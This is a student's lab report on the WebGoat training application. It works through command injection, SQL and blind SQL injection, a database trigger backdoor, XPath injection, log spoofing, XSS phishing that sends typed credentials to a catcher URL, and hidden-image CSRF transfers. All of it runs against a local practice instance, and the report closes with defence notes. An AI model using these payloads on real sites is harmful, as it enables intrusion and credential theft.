20155205 郝博雅 Exp9 Web安全基础

一、实验内容

  • 一共做了13个题目。

1.WebGoat

  • 输入java -jar webgoat-container-7.1-exec.jar

  • 在浏览器输入localhost:8080/WebGoat,进入webgoat开始实验

2.Injection Flaws

  • 在火狐里右键选择inspect element开启调试。

① Command Injection

  • 命令注入攻击对任何参数驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这样的风险,但互联网上令人难以置信的系统却容易受到这种形式的攻击。它不仅是一种容易被煽动的威胁,也是一种威胁,只要有一点常识和预先考虑,就几乎可以完全避免。本课将向学生展示参数注入的几个例子。

    清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。

    尝试向操作系统注入命令。

  • 尝试注入netstat -an以及ifconfig这两个系统命令以获取本地计算机建立连接的IP以及系统的网络端口使用情况以及IP地址。在所请求的页面源代码中添加"& netstat -an & ipconfig"如图所示:

  • 在课程页面的下拉菜单就可以看到我们新设的值,选定它,然后点击view后可以看到网络端口使用情况和IP地址。

② Numeric SQL Injection

  • 可以看到我们需要尝试追加一个总是解析为true的SQL语句,拦截POST请求,用101或1=1替换101

  • 将语句替换为SELECT * FROM weather_data WHERE station = 101 OR 1=1,即在查看器中更改代码如下图所示:

  • 可以看到所有城市的天气啦

③ Log Spoofing

  • 日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入hby%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。

④ XPATH Injection

  • 题目要求是使用帐户Mik/Test123,目标是试着去查看其他员工的数据。

  • 使用一个普通的用户名和密码,XPath会起作用,但是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的情况下,选择一个XML节点,如下所示:

Username: hby' or 1=1 or 'a'='a
Password: hby

  • 可以看到攻击成功:

⑤ String SQL Injection

  • 和数字sql注入相同,输入HBY' OR '1'='1,也就是当last name为hby或者1=1时输出信息,又由于1=1为恒等式,所以所有的用户信息都会被输出。

⑥ LAB: SQL Injection

Stage 1:String SQL Injection
  • 使用String SQL注入来绕过身份验证。
  • 以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败。
  • 使用inspect element查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符:

  • 将其修改为40,可以登陆成功。

Stage 3:Numeric SQL Injection
  • 该题目的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户larry,浏览其BOSS的账户信息。

  • 我们先使用上一题的办法登录进larry的账户。(如果刷新了网页还需要重新修改最大字符长度哦)

  • 在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 之后就可以查看到老板的信息:

⑦ Database Backdoors

  • 看hint后知道先看看自己的信息是啥

  • 接下来就很简单啦,可以通过输入sql语句来修改信息内容。比如输入101; update employee set salary=5205

  • 接下来使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155205@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:

⑧ Blind Numeric SQL Injection

  • 题目中说明了下面的表单允许用户输入帐号并确定它是否有效,意思就是返回值只有账户有效或无效两种。

  • 先输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2333 );,结果是

    Account number is valid.也就是账户有效,再试试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2444 );返回了

    Invalid account number.也就是账户无效。那么我们要找的数就在2333和2444之间了。

  • 按照平措同学的方法设置BurpSuite后得到最终的结果2364.

3.Cross-Site Scripting (XSS)

⑨ Phishing with XSS

  • 看一下要求:关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

  • hint提示我们尝试向搜索字段添加HTML以创建假身份验证表单。

  • 代码如下:

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单:

  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

⑩ Stored XSS Attacks

  • 看看hint:You can put HTML tags in your message.意思是我们要在信息中添加一个html的标签。
  • 这就符合xss攻击的一贯套路了,在信息中输入<script>alert("hey guys");</script>即可。

⑪ Reflected XSS Attacks

  • 看要求没太看懂要干嘛,看看hint:A simple script is .
  • 输入到第一个框里试一试发现没反应,再输入到二个框里试一试,哎呀成功了

  • 但是也会提示你输入错误啦

4.CSRF

⑫ Cross Site Request Forgery(CSRF)

  • 看要求是让我们发送一个恶意URL请求的图片给用户。看了hint后知道是在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出了。
  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数可以根据红框中的值据实填写,然后通过宽高设置成1像素,隐藏掉这个图片。

  • 点击后就执行了这个代码,被攻击者就会给你转钱啦

⑬ CSRF Prompt By-Pass

  • 看题目要求是和上一道题一样,只不过现在需要确认转账。
  • 在message中输入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
  • 可以看到攻击成功了

二、基础问题回答

(1)SQL注入攻击原理,如何防御

  • 攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  • SQL注入威胁表现形式可以体现为以下几点:

      ●绕过认证,获得非法权限
    
      ●猜解后台数据库全部的信息
    
      ●注入可以借助数据库的存储过程进行提权等操作
  • SQL注入攻击的典型手段

      ●判断应用程序是否存在注入漏洞
    
      ●收集信息、并判断数据库类型
    
      ●根据注入参数类型,重构SQL语句的原貌
    
      ●猜解表名、字段名
    
      ●获取账户信息、攻击web或为下一步攻击做准备
  • 防御措施:使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符。

(2)XSS攻击的原理,如何防御

  • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

  • 防御措施:HttpOnly防止劫取Cookie;输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。

  • 防御措施:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

三、实验体会

  • 上个实验接触过SQL和XSS了,所以这一次更加深了对他们攻击的理解。XSS涉及到web编程很多的内容,也算是个回顾,有不少收获。这次做的实验数量比较多,但做完感觉原理都是一样的。

20155205 郝博雅 Exp9 Web安全基础的更多相关文章

  1. 20155205 郝博雅 Exp 8 Web基础

    20155205 郝博雅 Exp 8 Web基础 一.实验目标 (1).Web前端HTML(0.5分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单 ...

  2. 20155205 郝博雅 Exp5 MSF基础应用

    20155205 郝博雅 Exp5 MSF基础应用 一.实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.一个主动攻击实践,如ms08_0 ...

  3. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  4. 20155205 郝博雅 Exp7 网络欺诈防范

    20155205 郝博雅 Exp7 网络欺诈防范 一.实践内容 (1)简单应用SET工具建立冒名网站 (1分) (2)ettercap DNS spoof (1分) (3)结合应用两种技术,用DNS ...

  5. 20155205 郝博雅 Exp6 信息搜集与漏洞扫描

    20155205 郝博雅 Exp6 信息搜集与漏洞扫描 一.实践内容 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服务 ...

  6. 20155205 郝博雅 Exp3 免杀原理与实践

    20155205 郝博雅 Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 答:++基于特征码的检测++<简单来说一段特征码就是一段或多段数据.如果一个可执行文件( ...

  7. 20155205 郝博雅 Exp2 后门原理与实践

    20155205 郝博雅 Exp2 后门原理与实践 一.基础问题回答 后门(木马) 专用程序 投放 隐藏(免杀) 启动(自启动.绑定) (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:上学 ...

  8. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  9. 20155312 张竞予 Exp9 Web安全基础

    Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...

随机推荐

  1. python 随机生成图片验证码背景RGB-浅色或者深色

    import random def random_color(is_light = True): return (random.randint(0 ,127) + int(is_light) * 12 ...

  2. 多功能网页刷新工具,刷pv工具

    多功能网页刷新工具,刷pv工具,在线刷流量,刷PV,刷UV小牛刷新助手功能介绍:1.设置多个刷新网页地址.2.设置刷新时间3.开始工作4.其他操作:老板键:打开时自动刷新:置系统托盘5.可手动输入地址 ...

  3. HttpSession原理及Session冲突

    一.摘要         本文讨论了web服务器靠session id识别客户端.以及透过原理分析session冲突的原因,发现session冲突的原因是保存session id信息的cookie发生 ...

  4. splice的用法

    splice向数组中删除/添加新元素,然后返回新数组 arrObject.splice(index,howmany,item1,...,itemx); 参数 描述 index 必需.整数,规定添加/删 ...

  5. 国内安装helm

    helm repo remove stable helm repo add stable https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts ...

  6. linux命令总结----转载

    1.终端是个奇妙的东西,一开始它的低颜值,高难度可能会令我们灰心气馁. 但是入门之后,你会发现终端命令行是如此强大,简直飞一般的感觉.就是这个feel,倍儿爽~ 享受“弹指间,一切尽在掌握”的感觉. ...

  7. Debian如何永久添加静态路由

    在RedHat(RHEL)/CentOS/Fedora Linux环境永久添加静态路由通常是写在诸如/etc/sysconfig/network-scripts/route-eth0这些文件里.在De ...

  8. go语言环境安装

    Go 是一个开源的编程语言,被设计成一门应用于搭载 Web 服务器,存储集群或类似用途的巨型中央服务器的系统编程语言. 1. 准备环境并安装依赖包 创建centos 7.6 64bit的虚拟机. 安装 ...

  9. 20175126Apollo 20175126《Java程序设计》结队编程项目——四则运算

    结队编程项目——四则运算 一.项目需求 自动生成小学四则运算题目(加.减.乘.除)统计正确率 支持整数 支持多运算符(比如生成包含100个运算符的题目) 支持真分数 需求分析: 生成四则运算:需要使用 ...

  10. eleTree树形插件引入

    先放一个效果 @eleTree插件官网 刚开始用的xtree,不知为何总是达不到效果,不得已从layui官网插件中寻得这个eleTree插件,看着还不错,用法也简单.不过还是有点坑需要大家注意 开始使 ...